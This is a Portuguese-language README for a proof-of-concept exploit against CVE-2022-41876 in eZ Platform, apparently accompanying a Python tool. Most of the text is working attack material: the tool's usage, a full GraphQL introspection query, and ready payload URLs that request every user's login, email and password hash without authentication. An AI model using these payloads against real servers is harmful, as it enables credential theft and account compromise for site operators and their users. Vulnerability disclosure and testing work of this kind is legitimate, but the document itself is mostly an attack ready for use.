
PoC para CVE-2022-41876
Uma vulnerabilidade surgiu no eZ Platform que permite que um usuário não autenticado acesse o hash de senha de cada colaborador. Este PoC enumera todos os caminhos GraphQL possíveis que levam a um objeto 'User' e, em seguida, solicita esses caminhos para recuperar informações confidenciais dos usuários.
python3 cve-2022-41876.py -h
usage: cve-2022-41876.py [-h] [-t] [-f FILE] url
CVE-2022-41876 POC
positional arguments:
url URL alvo (especifique o endpoint graphql)
optional arguments:
-h, --help show this help message and exit
-t, --thread Número de threads
-f FILE, --file FILE Caminho local para o arquivo de introspecção

Os diferentes passos seguidos por esta ferramenta para explorar a CVE são:
O primeiro passo para explorar esta CVE é obter um arquivo introspect.json. Uma maneira de obtê-lo é consultar o endpoint graphql do servidor com o seguinte payload:
https://<your-url>/graphql?query={__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name%20description%20locations%20args{...InputValue}}}}fragment%20FullType%20on%20__Type{kind%20name%20description%20fields(includeDeprecated:true){name%20description%20args{...InputValue}type{...TypeRef}isDeprecated%20deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name%20description%20isDeprecated%20deprecationReason}possibleTypes{...TypeRef}}fragment%20InputValue%20on%20__InputValue{name%20description%20type{...TypeRef}defaultValue}fragment%20TypeRef%20on%20__Type{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name}}}}}}}}
Então, o json fornecido pelo servidor pode ser usado para extrair todos os caminhos para os objetos 'User' com a ferramenta graphql-enum-path assim:

Finalmente, uma vez que todos os caminhos são encontrados, um payload específico deve ser criado desta forma e enviado ao servidor:
https://<your-url>/graphql?query={element1{element2{element3{...{id,name,login,passwordHash,email,enabled,maxLogin}}}}}
Onde os elementos correspondem aos textos entre colchetes no resultado do graphql-enum-path (note que uma consulta deve ser feita para cada caminho).
Então, com o exemplo do graphql-enum-path acima, o primeiro payload seria:
https://<your-url>/graphql?query={_repository{location{contentInfo{contentType{creator{id,name,login,passwordHash,email,enabled,maxLogin}}}}}}
Se o servidor for vulnerável a esta CVE, ele responderá a essa consulta com um arquivo json contendo os dados de seus usuários.